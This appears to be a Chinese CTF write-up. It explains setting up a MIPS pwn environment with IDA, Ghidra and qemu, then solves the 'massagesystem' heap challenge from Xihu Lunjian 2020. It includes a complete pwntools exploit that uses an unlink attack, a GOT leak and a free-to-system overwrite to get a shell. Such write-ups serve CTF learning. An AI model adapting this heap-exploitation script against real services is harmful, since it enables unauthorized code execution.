环境搭建
网上大师傅们都讲的很详细了
我是看着这个师傅的博客装的环境,之前ida插件mipsrop没有安装成功,又被自己蠢到了,插件的py文件要放在包目录中的MacOS下的plugins文件夹中,而不是打开包目录中的Plugins文件夹
安装ghidra
再官网下载(需要java环境)
直接用命令行打开ghidraRun文件即可打开
例题复现
西湖论剑2020线上赛 massagesystem
题目提供文件
./run.sh
可以直接运行
例行检查
32位的mips小端序程序,保护全关
调试
可以一个shell直接打开
qemu-mipsel-static -g 1234 -L ./ ./ma
或者与pwntools联动
from pwn import*
import sys
context.binary = "ma"
context.arch='mips'
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
p = process(["qemu-mipsel-static", "-L", "./", "./ma"])
else:
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./ma"])
另一个shell
gdb-multiarch ./test
target remote 127.0.0.1:1234
用ghidra打开
漏洞在modify函数里
可以看到在编辑的时候溢出了8个字节,正好可以控制下一个chunk的prev_size和size,可以用unlink将一个chunk改为储存堆地址的note_list的前面,之后再泄露got表中的libc地址、修改got表,即可getshell
由于不能使用heap、bin等指令查看堆分配情况,可以在分配堆的函数后下一个断点,查看返回的堆地址
exp:
from pwn import*
import sys
context.binary = "ma"
context.arch='mips'
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
p = process(["qemu-mipsel-static", "-L", "./", "./ma"])
else:
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./ma"])
li = 0x0411830
free_got = 0x4117B4
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(sz,con):
ru('>>')
sl('1')
ru('length:')
sl(str(sz))
ru('info:')
sl(con)
def delete(idx):
ru('>>')
sl('2')
ru('user:')
sl(str(idx))
def show(idx):
ru('>>')
sl('4')
ru('show:')
sl(str(idx))
def edit(idx,con):
ru('>>')
sl('3')
ru('edit:')
sl(str(idx))
ru('info:')
sl(con)
add(0x80,'aaa')
add(0x80,'bbb')
add(0x80,'ccc')
add(0x20,'/bin/sh')
edit(0,p32(0)+p32(0x81)+p32(li-12)+p32(li-8)+'a'*0x70+p32(0x80)+p32(0x88))
delete(1)
edit(0,p64(0)+p32(li)+p32(0x80)+p32(free_got)+p32(0x8))
show(1)
p.recvuntil('info: ')
libc_base = u32(p.recv(4)) - 0x56B68
system = libc_base + 0x5F8F0
edit(1,p32(system))
delete(3)
ia()